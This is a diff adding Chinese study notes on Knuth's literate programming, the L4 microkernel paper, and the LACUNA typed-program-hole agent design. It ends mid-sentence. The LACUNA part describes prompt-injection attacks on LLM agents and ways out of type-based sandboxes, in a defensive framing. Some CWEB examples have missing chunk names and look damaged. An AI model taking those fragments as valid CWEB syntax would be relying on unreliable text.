补上的问题是:**人类读者按什么顺序、什么粒度,才能把程序当成连贯叙述来理解?** + +## 为什么重要 + +不理解文学化编程,下面这些事很难放在同一张图上: + +- 为什么 Knuth 的 TeX、METAFONT 源码本身可以成为排版精美的书籍(*Computers & Typesetting* 卷 B、D) +- 为什么「注释写得好」和「程序结构适合阅读」不是一回事——注释是外挂,文学化是**源文件即文档** +- 为什么 Jupyter Notebook、R Markdown、Swift Playground 等「叙述 + 可执行块」工具会让人感到熟悉 +- 为什么现代文档生成器(Sphinx、Rustdoc 内嵌示例、doctest)都在不同程度上追逐「单一真相来源」 + +论文的深层主张:**可维护性来自可读性;可读性来自作者对叙述顺序的掌控,而不是来自编译器要求的文件顺序。** + +## 核心概念 + +### 1. 两个受众、两种产物 + +WEB 把一份源文件同时服务两个目标: + +| 工具 | 输入 | 输出 | 服务对象 | +|------|------|------|----------| +| **WEAVE** | `.web` / `.w` | `.tex` → PDF | 人类读者(带索引、交叉引用、排版) | +| **TANGLE** | `.web` / `.w` | `.p` / `.c` 等 | 编译器 / 机器 | + +同一份 WEB 源是 **single source of truth**:不会出现「文档里的伪代码和真代码分叉」那种经典腐烂。 + +### 2. 程序是超文本,不是线性磁带 + +Knuth 早在万维网(WWW)之前就用了 **WEB** 这个名字。每个片段(section / chunk)有名字,可以: + +- 按**叙述顺序**排列(先讲动机,再讲数据结构,再讲主算法) +- 通过 **«chunk name»** 引用,让 TANGLE 按依赖关系拼出编译器需要的顺序 + +这类似「写百科词条」:读者从概述点进细节;机器则从依赖图拓扑排序出可编译单元。 + +### 3. 文学性:解释「为什么」,而不只是「是什么」 + +文学化编程鼓励: + +- 用自然语言交代不变式、复杂度、设计取舍 +- 在局部可见的范围内展示结构(不要逼读者翻十个文件才看见一个 `if` 的上下文) +- 把算法讲成故事,代码块是故事里的「公式」 + +Knuth 认为:**好的程序员本来就会写说明性文字**;WEB 只是把文字和代码锁在同一份可验证的源里。 + +### 4. WEB = 文档语言 + 编程语言 + +原型 WEB 组合的是 **TeX**(排版)与 **Pascal**(算法)。CWEB 则换成 **C/C++**。Neither alone is enough: + +- 纯 TeX 无法机械生成可执行系统 +- 纯 Pascal/C 的语法顺序是为编译器优化的,不是为读者优化的 + +### 5. 块(chunk)与 «引用» + +WEB/CWEB 源由交替的「TeX 叙述段」和「代码段」组成。代码段可命名,例如 `@=` … `@>`;别处用 `«Initialize the table»` 拉入。TANGLE 展开所有引用,生成完整源文件;WEAVE 则保留章节结构并生成索引。 + +### 6. 与结构化编程、信息隐藏的关系 + +- **结构化编程**:控制流应可推理(Dijkstra 反对随意 `goto`) +- **信息隐藏**:模块应隐藏易变决策(Parnas) +- **文学化编程**:**呈现顺序**应服务于人类理解,由作者编排,工具负责重排给机器 + +三者正交,可以同时遵守。 + +### 7. 代价与局限 + +Knuth 本人也承认:WEB **不是给初学者用的**——你需要同时熟悉 TeX 和宿主语言。工具链(WEAVE/TANGLE)增加构建步骤;团队若没有「文档即源码」的文化,收益会打折扣。 + +## 代码示例一:CWEB 风格的素数筛(概念示意) + +下面是一段 **简化示意**(非完整可编译文件),展示叙述与代码如何交织。`@c` 引入 C 代码,`@` 段标记 chunk 名: + +```cweb +@* Prime Numbers. +This program prints primes up to @{n@}, using Eratosthenes' sieve. +We explain the invariant before showing the code. + +@= +#define MAX 1000 + +@ The sieve marks composites in @|table[]|@. +@= +char table[MAX + 1]; +for (int i = 2; i <= n; i++) table[i] = 1; + +@
= +int main(void) { + int n = 100; + «Sieve setup»; + for (int p = 2; p <= n; p++) + if (table[p]) { + printf("%d\n", p); + for (int k = 2 * p; k <= n; k += p) table[k] = 0; + } + return 0; +} +``` + +**读者路径**:先看目标与不变式,再进 `main`,需要时跳进 `«Sieve setup»`。 + +**TANGLE 路径**:把 `«Sieve setup»` 展开进 `main` 之前,得到编译器习惯的扁平 `.c` 文件。 + +## 代码示例二:用 chunk 拆分「读入—处理—输出」 + +第二个例子强调 **叙述顺序 ≠ 编译顺序**。作者想先讲输出格式,再讲解析,TANGLE 仍可按引用拼出正确程序: + +```cweb +@* A tiny word-count filter. +We present sections in pedagogical order: output, then processing, then parsing. + +@= +void print_report(int words, int lines) { + printf("%d lines, %d words\n", lines, words); +} + +@= +int count_words(const char *line) { + int n = 0, in_word = 0; + for (; *line; line++) { + if (isspace((unsigned char)*line)) in_word = 0; + else if (!in_word) { in_word = 1; n++; } + } + return n; +} + +@= +int main(void) { + char buf[256]; + int lines = 0, words = 0; + while (fgets(buf, sizeof buf, stdin)) { + lines++; + words += count_words(buf); + } + print_report(words, lines); + return 0; +} +``` + +传统写法往往被迫 `main` 置顶;文学化写法允许 **先写 `print_report` 给读者看终点**,再在文末用 `«Driver»` 收束。现代语言里,你仍可用任意拓扑顺序组织源文件,但 WEB 在 **1980 年代就把「可重排片段 + 命名引用」工具化**了。 + +## 工具链一瞥 + +```text + ┌─────────────┐ + foo.w ──►│ WEAVE │──► foo.tex ──► PDF(给人读,带索引) + └─────────────┘ + ┌─────────────┐ + foo.w ──►│ TANGLE │──► foo.c ──► 编译器 ──► 可执行文件 + └─────────────┘ +``` + +CWEB 对应工具名为 **CWEAVE** / **CTANGLE**。Knuth 的 TeX、METAFONT、MMIX 模拟器等大型程序均以 `.w` 源维护,并出版与代码一致的纸质文献。 + +## 与现代工具的对照 + +| 思想 | WEB/CWEB (1984) | 现代近似物 | +|------|-----------------|------------| +| 叙述 + 代码同一源 | `.w` 文件 | Jupyter、R Markdown、Quarto | +| 从源生成排版文档 | WEAVE → TeX | Sphinx、MdBook、LaTeX `\lstinline` | +| 从源抽取可执行代码 | TANGLE | Literate Haskell、`noweb`、部分 build 脚本 | +| 命名片段与拼装 | `«chunk»` | 语言内模块、include,或自定义宏 | +| 交叉引用与索引 | WEAVE 自动生成 | IDE、LSP、doc 站内链 | + +差异在于:WEB 是为 **长时间维护的大型系统** 设计的工业级工具链,不是单次数据分析笔记本;但其哲学直接影响了后来「可执行文档」整条谱系。 + +## 论文中的 WEB 哲学摘录(意译) + +- 复杂软件最好被看作 ** delicately pieced together web**,理解局部与邻接关系即理解整体。 +- 程序员需要 **同时** 掌握排版语言与编程语言;各擅其一都不够。 +- 目标是 **state-of-the-art documentation** 与 **robust, portable** 程序并存,而非二选一。 +- 调试时间应显著下降——当你读的是连贯文章时,错误更容易定位在「哪一段叙述承诺了什么」。 + +## 常见误解 + +| 误解 | 澄清 | +|------|------| +| 「就是多写注释」 | 注释附属于代码;文学化源 **同时生成** 文档与程序,叙述结构是首要的 | +| 「反对结构化编程」 | Knuth 与 Dijkstra 争论过 `goto`,但文学化关注的是 **文档化与顺序**,不是破坏结构 | +| 「只适合 TeX 生态」 | 思想可移植;CWEB、`noweb`、Org Babel 等都是变体 | +| 「小项目用不上」 | 小项目收益小;TeX 级复杂度时,单一真相来源的收益才显现 | + +## 与 TeX 巨著的关系 + +Knuth 把 WEB 用于 **TeX: The Program**、**METAFONT: The Program** 等书:书中排版精美的代码列表,就是从同一份 `.web` WEAVE 出来的。这是文学化编程最硬核的「狗食」——不是幻灯片理念,而是数十年生产系统。 + +## 学习路径建议 + +1. **读本文 PDF**(约 12 页),抓住 WEB / WEAVE / TANGLE 三角关系。 +2. **浏览** Stanford CWEB 页面上的 [cweb.pdf](http://www.literateprogramming.com/cweb.pdf) 用户手册前几章,看真实 `@` 语法。 +3. **对照** 任意一篇 Jupyter 教程,思考:哪些块是「叙述」,哪些是「可被测试的 chunk」。 +4. **可选动手**:安装 `cweb`,编译官方 `cweave.w` / `ctangle.w` 迷你示例,体验一次 TANGLE 输出。 + +## 自测题 + +1. WEAVE 和 TANGLE 各解决什么问题?输入输出是什么? +2. 为什么 Knuth 说程序像 **web** 而不是 **tree**?(提示:多向引用与片段复用) +3. 叙述顺序与编译顺序不一致时,WEB 如何避免混乱? +4. 文学化编程与「结构化编程」「信息隐藏」分别解决哪一层问题? +5. 你今天用的哪些工具,可以看成文学化编程思想的「轻量化后代」? + +## 延伸阅读 + +- Donald E. Knuth, *Literate Programming*, CSLI Lecture Notes 27, 1992(文集,含修订版本文) +- Knuth & Levy, *The CWEB System of Structured Documentation*(CWEB 手册) +- D. E. Knuth, *TeX: The Program*(WEB 源 WEAVE 成书的范例) +- Norman Ramsey, **noweb** — 更轻量的文学化编程工具,影响许多课程作业模板 + +## 一句话总结 + +**Literate Programming 把程序写成给人读的文献,用 WEAVE 排出书籍、用 TANGLE 抽出机器码;Knuth 用 WEB 证明:文档与源码不必是两份真相,而可以是同一张用叙述编织的网。** diff --git a/src/content/docs/papers/l4-microkernel-1995.md b/src/content/docs/papers/l4-microkernel-1995.md new file mode 100644 index 000000000..c3b8362d9 --- /dev/null +++ b/src/content/docs/papers/l4-microkernel-1995.md @@ -0,0 +1,232 @@ +--- +title: On Micro-Kernel Construction (L4) — 微内核该怎么「造」 +来源: https://os.itec.kit.edu/downloads/sosp95-mkernel-construction.pdf +日期: 2026-06-13 +分类: 操作系统 +子分类: 内核与虚拟化 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象一栋**大型联合办公楼**: + +- **宏内核**(传统 Linux、早期 UNIX)像一家什么都自己干的物业总控:保安、保洁、快递、会议室预订、网络运维、门禁发卡全挤在一间值班室。楼里任何小事都要敲总控室的门;门一开一关本身就很贵,值班室人越多,互相挡路越严重。 +- **微内核**的思路是:值班室只保留**绝对少不了**的几件事——谁能在哪块区域活动、怎么把纸条递给隔壁工位、CPU 时间怎么轮转。文件系统、网络栈、设备驱动全部交给楼里的**独立服务商**(用户态 server),各管各的,崩了一个不至于拖垮整栋楼。 + +到 1995 年,微内核已经折腾了二十多年(Brinch Hansen、HYDRA、CMU Mach……),但口碑很差。大家普遍相信: + +1. 微内核**天生慢**——用户态和内核态来回切、地址空间来回换,IPC 开销大。 +2. 微内核**不够灵活**——接口太瘦,复杂系统还是得把功能塞回内核。 + +Jochen Liedtke 在 SOSP '95 发表的 *On Micro-Kernel Construction*,正是对着这两句「常识」下刀。论文不只是一份 L4 说明书,更是一份**微内核概念清单 + 性能辩护书 + 可移植性反论**:慢不是微内核思想的罪,而是 Mach 等实现**内核塞太满、写太糙**的罪。 + +## 这篇论文在说什么 + +| 维度 | 内容 | +|------|------| +| 作者 | Jochen Liedtke(GMD,德国国家信息技术研究中心) | +| 场合 | SOSP '95,Copper Mountain Resort, Colorado | +| 页码 | 237–250 | +| DOI | [10.1145/224056.224075](https://doi.org/10.1145/224056.224075) | +| 前身 | L3 微内核(1993 年已展示比 Mach 快一个数量级的 IPC) | +| 核心论点 | 低效与僵化来自**过载的内核**和**不当实现**,而非微内核范式本身 | + +论文结构: + +1. **§2 概念**:从功能需求推导最小原语(地址空间、线程、IPC、唯一 ID) +2. **§3 灵活性**:分页、驱动、Unix 仿真、多媒体分配都可用户态堆叠 +3. **§4 性能**:拆解 kernel-user 切换、地址空间切换、IPC 的周期账 +4. **§5 可移植性**:微内核**本身不该**无脑跨 CPU 移植,但整系统因 server 可移植而更易迁移 + +## 为什么值得读 + +| 今天的现象 | 与这篇论文的关系 | +|------------|------------------| +| seL4 形式化验证 | 最小 TCB 来自本文的最小性原则 | +| Tanenbaum vs Linus 论战 | Liedtke 用 L4 数据反驳「微内核必然慢」 | +| macOS XNU 的 `mach_msg` | Mach 消息遗产;L4 是「Mach 太慢」后的极简矫正 | +| Fuchsia Zircon、QNX | 同谱系:消息 + 能力 + 用户态驱动 | +| L4Linux ~5% 性能损失 vs MkLinux 数倍惩罚 | 根子在 µ-kernel 路径是否够短 | + +## 核心概念一:最小性原则 + +> 一个概念只有在其**移出内核、允许竞争实现**会导致**无法实现系统必需功能**时,才允许留在 µ-kernel 里。 + +系统假设:页式虚存 + 需要保护(不可信/交互式应用)。由此推出两条安全原则: + +- **独立性**:子系统 S 能给保证,不被其它子系统 S' 干扰或破坏 +- **完整性**:S₁ 能与 S₂ 建立**不被 S' 窃听或篡改**的通信通道 + +**必须留在内核的**(论文 §2): + +| 机制 | 理由 | +|------|------| +| Grant / Map / Flush | 在保护边界内递归构造地址空间 | +| 线程 | 换地址空间必须由内核仲裁 | +| 同步 IPC | 跨空间通信 + Grant/Map 的「对方同意」 | +| 唯一 UID | 本地通信指定目标并验证来源 | + +**刻意移出的**:通用分页策略、文件系统、调度细节、设备驱动逻辑、Unix 系统调用表。 + +## 核心概念二:地址空间三原语 + +启动时存在特殊地址空间 **σ₀**(近似物理内存),由 S₀ 控制;其它空间起初为空,靠三原语「长出来」: + +| 原语 | 行为 | 日常类比 | +|------|------|----------| +| **Grant** | 页从授予方**移除**,进入接收方(双方同意) | 把办公室钥匙交给下家,自己不再能进 | +| **Map** | 页同时出现在双方(双方同意) | 同一房间加一把锁,两家都能用 | +| **Flush** | 页在发起方仍可见,撤销所有经自己转手的下游映射 | 房东收回转租副本,自己房间不动 | + +约束:Grant/Map 只能操作**自己已能访问**的页;Flush 不需逐家同意,因接收时已隐含接受「可能被 flush」。 + +I/O 端口也可视作特殊「页」——**设备权限**交给用户态 memory manager,而非写死在特权驱动路径。 + +### 代码示例 1:地址空间原语(教学伪代码) + +```c +typedef struct { + PageDesc table[VIRTUAL_PAGES]; +} AddressSpace; + +int map_page(AddressSpace *mapper, vpage_t v_src, + AddressSpace *recipient, vpage_t v_dst, + AccessRights rights) { + if (!page_accessible(mapper, v_src)) return -EPERM; + if (!recipient_accepts(recipient, v_dst, rights)) return -EAGAIN; + return install_mapping(recipient, v_dst, resolve(mapper, v_src), rights); +} + +int grant_page(AddressSpace *granter, vpage_t v_src, + AddressSpace *grantee, vpage_t v_dst) { + if (!page_accessible(granter, v_src)) return -EPERM; + if (!grantee_accepts(grantee, v_dst)) return -EAGAIN; + PageFrame pf = detach(granter, v_src); + return attach(grantee, v_dst, pf); +} + +int flush_page(AddressSpace *owner, vpage_t v) { + if (!page_owned(owner, v)) return -EPERM; + return revoke_downstream_mappings(owner, v); +} +``` + +论文 Figure 1 的**堆叠 pager**:统一文件系统 F 把 f₁ 的一页 grant 给用户 A,F 不长期占页——若用 Map,F 要复制全部簿记且地址空间可能被撑爆。 + +## 核心概念三:线程与同步 IPC + +**线程** = 在某地址空间里跑的活动(PC、栈、状态、当前地址空间 ID)。**IPC** 采用**同步会合式**消息: + +- 发送方决定发什么;接收方决定是否收、如何解释 +- 内核**不必维护消息队列**(短消息常走寄存器) + +L3 在 486/50MHz 上短 IPC 约 **10µs(~250 cycles)**;同期 Mach 同场景约 **190µs**。L3 进内核额外开销可低至 **15 cycles**;Mach `get_self_thread` 类调用约 **900 cycles**,其中 x86 进/出内核硬下限仅 **~107 cycles**,其余是 Mach 自身路径。 + +### 代码示例 2:中断当作「硬件线程发来的空 IPC」 + +```c +void nic_driver_thread(void) { + for (;;) { + ThreadId sender; + Message msg = wait_ipc(&sender); + + if (sender == MY_NIC_IRQ_THREAD) { + dma_ring_refill(); + mmio_write(NIC_REG_ACK, 1); + } else if (sender == CLIENT_PORT) { + handle_client_request(&msg); + } + } +} +``` + +内核只把硬件中断**翻译成** IPC;清中断、读端口的**语义**全在驱动里。若 CPU 清中断需特权操作,可在驱动下一次 IPC 时由内核隐式完成。 + +### 代码示例 3:Unix server 式系统调用 + +```c +void client_read(int fd, void *buf, size_t n) { + Message req = { .tag = MSG_UNIX_READ, .words = { fd, n } }; + Message reply; + ipc_call(unix_server_tid, &req, &reply); + memcpy(buf, reply.payload, reply.words[0]); +} + +void unix_server_loop(void) { + for (;;) { + Message req, reply; + ThreadId client = ipc_receive(&req); + if (req.tag == MSG_UNIX_READ) { + reply.words[0] = vfs_read(req.words[0], reply.payload, req.words[1]); + ipc_reply(client, &reply); + } + } +} +``` + +宏内核里 `read()` 是一条内核路径;微内核里是**会合式 IPC**——当内核路径从 900 cycles 压到百 cycle 级,这条账算得过。 + +## 灵活性速写(§3) + +| 组件 | 实现方式 | +|------|----------| +| 物理内存管理 | 管理 σ₀ 的用户态 memory manager,可多层堆叠 | +| 分页 / 文件映射 | Pager:grant/map/flush + IPC | +| 设备驱动 | 普通进程 + MMIO 映射 + 中断 IPC | +| Unix 兼容 | Unix server,syscall = IPC | +| 远程通信 | 通信 server + 网卡驱动 | + +## 性能:拆解「微内核原罪」(§4) + +**Kernel-user 切换**:Ousterhout 测 `getpid` 约 20–30µs;Mach 486/50MHz 约 18µs ≈ 900 cycles,其中 ~107 cycles 是 x86 陷阱硬下限,**800+ cycles 是 Mach 纯开销**。L3 完整调用 123–180 cycles。 + +**地址空间切换**:无标签 TLB 的 CPU 换页表可能很贵;Liedtke 在 Pentium 上用**段寄存器 multiplex** 把切换压到约 **15 cycles**。 + +**IPC**:Table 2 一字节 echo RPC——L3 ~10µs,Mach 486 ~230µs。差距主要来自内核体量与会合式设计,非范式必然。 + +**MCPI**:Chen & Bershad 曾指 Mach+Unix server 比 Ultrix MCPI 高;Liedtke 重读:差异多来自 **Mach 内核自身 cache miss**,非用户/系统冲突特有。瘦内核(L3 短 IPC <1KB)可缓解。 + +## 可移植性悖论(§5) + +微内核**不应追求**一份源码跑遍所有 CPU——它像**手写优化的微码层**,换芯片要换算法(486→Pentium 地址空间实现大改)。但**上层 server** 用稳定 IPC 接口,整系统反而更易迁移。这是有意为之的诚实。 + +## 与 Mach 1986 对照 + +| 维度 | Mach | L4(本篇) | +|------|------|------------| +| 目标 | UNIX 兼容研究平台 | 证明微内核可又快又灵活 | +| IPC | Port + 内核缓冲 | 同步会合,极简 trap | +| 内存 | Memory object | Grant/Map/Flush 递归构造 | +| 驱动 | 常进内核 | 一律用户态 + 中断 IPC | + +## 后世演化 + +| 年代 | 里程碑 | +|------|--------| +| 1993 | L3:IPC 比 Mach 快数量级 | +| 1995 | 本篇:概念最小集 + 性能辩护 | +| 1997 | L4Linux:Linux personality 低开销 | +| 2009+ | seL4:能力模型 + 形式化验证 | +| 2016+ | Fuchsia Zircon 等商业化探索 | + +## 读完后应带走的五句话 + +1. **微内核 = 最小可信计算基座**,每个原语都要能辩护「移出去会不会做不成系统」。 +2. **Grant/Map/Flush + 同步 IPC + UID** 足以搭出完整 OS。 +3. **慢**先查 cycle 账,别急着怪范式。 +4. **灵活**来自原语少且通用,而非内核预置一切策略。 +5. **内核不可移植是特性**;server 生态才可移植。 + +## 延伸阅读 + +- Liedtke (1993), *Improving IPC by Kernel Design* +- Hartig et al., *The Performance of µ-Kernel-Based Systems*, SOSP 1997 +- Elphinstone & Heiser, *From L3 to seL4*, SOSP 2013 +- 本库:[Mach 1986](mach-rashid-1986.md)、[KVM 2007](kvm-2007.md) + +## 参考链接 + +- 论文 PDF:https://os.itec.kit.edu/downloads/sosp95-mkernel-construction.pdf +- ACM DOI:https://doi.org/10.1145/224056.224075 +- L4 家族文档:https://os.inf.tu-dresden.de/L4/doc.html diff --git a/src/content/docs/papers/lacuna-program-holes.md b/src/content/docs/papers/lacuna-program-holes.md new file mode 100644 index 000000000..be363e0b7 --- /dev/null +++ b/src/content/docs/papers/lacuna-program-holes.md @@ -0,0 +1,322 @@ +--- +title: LACUNA — 把 LLM Agent 写成「可递归的类型化程序洞」 +来源: https://arxiv.org/abs/2605.28617 +日期: 2026-06-13 +子分类: 类型与 PL 理论 +分类: 编程语言 +provenance: pipeline-v3 +--- + +## 从日常类比开始:装修里的「待填槽位」 + +你请人装修厨房。有两种做法: + +1. **遥控式**:你站在门外,每次只喊一句——「把瓷砖贴上」「装水龙头」。工人做完一步你再喊下一句。流程、节奏、上下文全在你手里,工人只能执行**单步动作**。 +2. **图纸式**:你画好平面图,在需要「现场判断」的地方标出**虚线框**——「此处选台面材质」「此处排布插座」。工人走进现场,按框填空,但**每块填空必须符合图纸上的尺寸与接口**;填错了整块拆掉重来,已装好的柜子不会被半拉子工程弄坏。 + +今天大多数 LLM Agent 更像第一种:ReAct、Function Calling 由**外层 runtime** 拥有循环、上下文和调度,模型每次只吐**一个工具调用**或一小段 JSON。 +**Code-as-action** 让模型直接写代码,表达能力上去了,但又出现新问题:runtime 仍是「上帝」,模型写的代码**不能合法地改写控制流**;若让模型写的代码真的去驱动 runtime,一次 prompt injection、错工具、半途中断,破坏面会比「单步动作」大得多。 + +**LACUNA**(*Safe Agents as Recursive Program Holes*,Zhao 等,EPFL / Martin Odersky 组,arXiv [2605.28617](https://arxiv.org/abs/2605.28617))提出第三种路径:在宿主程序里留一个**类型化的洞(typed hole)**,执行到此处时由 LLM **生成 Scala 代码**填满;**先经编译器类型检查,通过才运行,失败则环境零副作用并重试**。洞里的代码还可以再调用 `agent`,于是 ReAct、子 Agent、并行分解、技能库都变成**普通控制流**,而不是框架硬编码的模式。 + +论文名字 *Lacuna* 即拉丁语「空隙、空白」——程序里那块等你填的洞。 + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 论文 | *LACUNA: Safe Agents as Recursive Program Holes* | +| 作者 | Yaoyu Zhao, Yichen Xu, Oliver Bračevac, Cao Nguyen Pham, Frank Zhengqing Wu, **Martin Odersky** | +| 机构 | EPFL | +| 提交日期 | 2026-05-27 | +| 核心原语 | `def agent[T](task: String): T` | +| 实现语言 | Scala 3(利用运行时重编译 + capture checking) | +| 底层机制 | `eval[T](source: String)` — 在**调用点词法作用域**内对字符串源码做二次编译 | +| 评测 | 自研类型测试 ~400 例、BrowseComp-Plus、τ²-bench、AgentDojo 注入攻击 | + +一句话:**Agent 的一次「行动」= 宿主程序中的一个类型洞;LLM 填的是整段可编译代码,不是单条 tool call。** + +--- + +## 为什么重要 + +### 1. 弥合「runtime」与「模型代码」的裂缝 + +传统分工: + +- **Runtime**:while 循环、消息历史、工具路由、子 Agent 协议 +- **模型**:产出下一个 action(JSON / 单次 `read_file`) + +LACUNA 把 **model call 嵌进程序**,在**需要类型 `T` 的值的地方**调用 `agent[T](task)`。控制流(`if`、`while`、尾递归、`.par.map`)由**生成代码**书写,runtime 只提供 `agent` 这一个原语。 + +### 2. 安全不靠「沙箱祈祷」,靠**编译器全有或全无** + +Python `exec`、无约束 tool call:语句按顺序执行,类型错误**跑到那一行才炸**,前面副作用可能已经写入 `balance -= 50`。 + +LACUNA:**整段 snippet 要么全部通过类型检查,要么整段拒绝**——拒绝时**一行都不执行**。论文称此为 typed hole 的 **atomicity(原子性)**。 + +### 3. 工具 = 普通函数,权限 = 词法作用域 + +不需要单独的 tool registry + JSON schema:在作用域里可见的函数就是工具。开启 Scala 3 **capture checking** 后,文件句柄、网络 `IO` 等**能力(capability)**随类型流动;模型生成的代码**不能把手里的 capability 泄漏到洞外**。 + +### 4. 与相近工作的差异(读论文时的坐标系) + +| 方向 | 代表 | Lacuna 的不同 | +|------|------|----------------| +| Code-as-action | CodeAct 等 | 仍由 runtime 拥有主循环 | +| 递归语言模型 RLM | Zhang et al. 2025 | REPL 先执行再发现问题;Lacuna **先类型检查再执行** | +| LMQL / DSPy | 约束单次 LLM I/O | 只约束**一次调用**的输入输出形状 | +| ChatLSP | 编辑期代码补全 | 人在环;Lacuna 是**运行时递归行动** | + +--- + +## 核心概念 + +### 概念 1:`agent[T](task)` — 类型化的程序洞 + +```scala +def agent[T](task: String): T +``` + +- `task`:自然语言任务描述 +- `T`:调用点**期望的返回类型**(通常由 Scala 类型推断,不必手写) +- 执行到此处 → 组装 prompt(系统指令、期望类型 `T`、调用点周围源码、可用变量列表、`task`)→ LLM 返回 Scala 源码 → **在调用点词法环境中编译** → 成功则求值并返回 `T`,失败则把**编译器诊断**喂回模型重试 + +生成代码可以是**表达式或语句块**:读局部变量、定义辅助函数、分支循环、调用工具、**嵌套 `agent`**。 + +### 概念 2:递归组合(Recursive Program Holes) + +外层 `agent` 生成的代码里可以再写: + +```scala +topics.par.map(topic => agent[String](s"Research: $topic")) +``` + +每个嵌套洞有自己的 `T` 和 `task`,且在**外层 snippet 已引入的变量与结构**之上检查——子问题带着更丰富的上下文。 + +递归深度可由 runtime **配置上限**;无上限时理论上可能无限嵌套(与复杂任务和意外死循环难以区分)。 + +### 概念 3:`eval` — 静态语言里的「动态求值」 + +`agent` 建立在编译器内建的 `eval[T](source)` 上,流程: + +1. **Rewrite**:从类型化 AST 提取 `bindings`、`expectedType`、`enclosingSource` +2. **Splice**:把模型字符串拼进带占位符的包围源码 +3. **Recompile**:用**同一套编译器选项**(含 capture check)再编译 +4. **Extract & Evaluate**:加载 class、在原线程求值 + +关键洞见:**不另写安全检查器**,复用宿主语言编译器的健全性。 + +### 概念 4:编译失败驱动的自修正循环 + +默认最多重试若干次(可配置)。仍失败则抛 `EvalCompileException`,或使用 `agentSafe[T]` 得到 `EvalResult[T]`(`Success` / `Failure(diag)`)。 + +BrowseComp-Plus 上约 **8.6%** 生成在运行前被拒,平均 **0.7** 次重试/查询,**91.4%** 端到端编译成功率。 + +### 概念 5:能力安全与信息流 + +在 adversarial 设定(prompt injection)下,模型可能被带偏,但**只能调用当前洞作用域已绑定的能力**。 +论文用 `Classified[T]` + 嵌套 `local.agent` 演示:敏感合同正文不进云端模型,本地可信模型在 **pure** 的 `map` 闭包内处理,capture 检查禁止把内容 leak 到网络。 + +建议开启 Scala **safe mode**,禁用反射与裸 `Process` 执行——否则存在绕过类型边界的逃生口。 + +--- + +## 代码示例 1:过滤素数 — 洞如何「看见」局部变量 + +宿主程序先定义数据,再让模型填洞;**类型 `List[Int]` 约束返回值**,模型不能交回 `String`。 + +```scala +val xs = List(0, 1, 2, 4, 7, 9, 10) + +val r = agent[List[Int]]("filter the prime numbers from xs") + +// 模型可能生成(经编译器接受后执行): +// def isPrime(n: Int): Boolean = +// n > 1 && (2 until n).forall(d => n % d != 0) +// xs.filter(isPrime) + +// r == List(2, 7) +``` + +要点: + +- `xs` 在词法作用域内,生成代码**直接引用** +- 局部辅助函数 `isPrime` 允许 +- 若模型返回 `xs.filter(_.isOdd)` 但类型标成 `List[String]`,**编译失败,无副作用** + +--- + +## 代码示例 2:ReAct 循环 — 尾递归形式的 `agent` + +ReAct(Reason + Act)在 Lacuna 里不必框架内置,写成**尾递归**:每轮 snippet 调用工具、更新状态,最后再次 `agent[T](task)`,直到能直接返回 `T`。 + +```scala +def solveResearch(task: String): Report = { + // 第一次进入洞 + agent[Report](task) +} + +// 第 1 轮模型生成的 snippet 可能长这样: +val raw = searchWeb("transformer architecture 2024") +val notes = parseResults(raw) +agent[Report](task) // 尾调用:同一 T,上下文更丰富 + +// 第 2 轮可能: +val draft = summarize(notes) +agent[Report](task) + +// 最终轮:信息足够,直接构造 Report +Report.fromSections(notes, draft) +``` + +与 RLM 类似,都是「代码里再调模型」;差异是**每一轮 snippet 先过类型检查**,且每轮共享同一返回类型 `T`,迫使循环围绕**同一目标类型**收敛。 + +--- + +## 代码示例 3:原子性 — 半对半错不会弄脏状态 + +```scala +var balance: Int = 100 + +agent[Int]("subtract 50 and return the new balance") + +// 模型错误生成: +// balance -= 50 +// s"remaining: $balance" // 类型 String,不是 Int + +// 结果:EvalCompileException,balance 仍为 100 +``` + +若在 Python `exec` 里,`balance -= 50` 可能已执行才在字符串格式化处报错——**状态不一致**。Lacuna 的「整段接受或整段拒绝」专为消除这类**部分执行**。 + +--- + +## 代码示例 4:能力不能逃逸作用域 + +```scala +trait IO extends caps.SharedCapability +def withIO[T](op: IO^ => T): T = op(new IO {}) +def readFile(io: IO, path: String): String = ??? + +// 合法:在块内用完 IO,返回纯 String +withIO[String] { io => + agent("read /etc/hosts using io") +} +// 生成:readFile(io, "/etc/hosts") → OK + +// 非法:想把带 IO 能力的函数泄漏出去 +withIO[String => String] { io => + agent("return a file reader using io") +} +// 生成:(p: String) => readFile(io, p) +// 编译错误:Capability io outlives its scope +``` + +--- + +## 能表达哪些 Agent 模式? + +论文第 5 节证明**单一原语**足够表达常见架构(均为例程级控制流,非内置协议): + +| 模式 | Lacuna 写法 | +|------|-------------| +| **Skill / 技能** | 普通函数 `def reviewPR(diff: Diff): Review`,体内可全委托 / 半委托 / 全硬编码 `agent` | +| **ReAct** | 尾递归 `agent[T]` | +| **子 Agent** | 嵌套 `agent[U]`,子洞见到更多中间绑定 | +| **并行** | `items.par.map(x => agent[...](...))` | +| **多模型规划** | 不同洞绑定不同 `llm` 实例(实现层配置) | +| **程序性记忆** | REPL 里重定义同名函数,后续 `agent` 解析到新实现 | + +--- + +## 实验结果(论文摘要) + +### BrowseComp-Plus(复杂检索 + 工具) + +| Agent 模型 | 准确率 | 检索 Recall | 平均重试 | +|------------|--------|-------------|----------| +| deepseek-v4-flash | **27.1%** | 34.5% | 0.7 | +| gemini-3.1-flash-lite | 26.2% | 27.9% | 0.4 | +| gpt-5.4-mini | 9.2% | 16.2% | 0.5 | + +- 约 **8.6%** 生成被编译器拒绝 +- 原语不拖后腿:强模型能做多轮搜索(文中 ~5.9 轮、~15.5 次搜索/题) + +### τ²-bench(多轮客服对话 + 工具) + +deepseek-v4-flash + Lacuna:**76.0%** / 392 任务,与原生 Tool Calling 基线**同量级**(部分域 Lacuna 更高或略低)。对话代码更易类型错误(retail 域拒绝率 ~22.4%),重试环吸收大部分失败。 + +### AgentDojo(prompt injection) + +在 TACIT / CaMeL 对比下,Lacuna 任务完成率(Utility)具竞争力;攻击成功率(Attack)在多数设置接近 **0**(个别配置有少量成功,论文如实报告)。 + +--- + +## 优势与局限 + +### 优势 + +1. **表达力**:模型写**真实控制流**,而非被 runtime 菜单限制 +2. **安全默认**:静态类型 + 可选 capture → 权限与数据流由编译器证明 +3. **可组合**:嵌套洞 = 分而治之,上下文随程序文本累积 +4. **诊断即反馈**:编译错误比「运行时报错」更适合驱动 LLM 自修正 +5. **工具零胶水**:函数即工具,无 JSON schema 维护负担 + +### 局限 + +1. **绑定 Scala 3 生态**:`eval`、capture checking 是原型关键;移植需宿主支持**进程内重编译** +2. **模型必须会写类型正确代码**:弱模型拒绝率高(如 gemini-lite 在 telecom 域 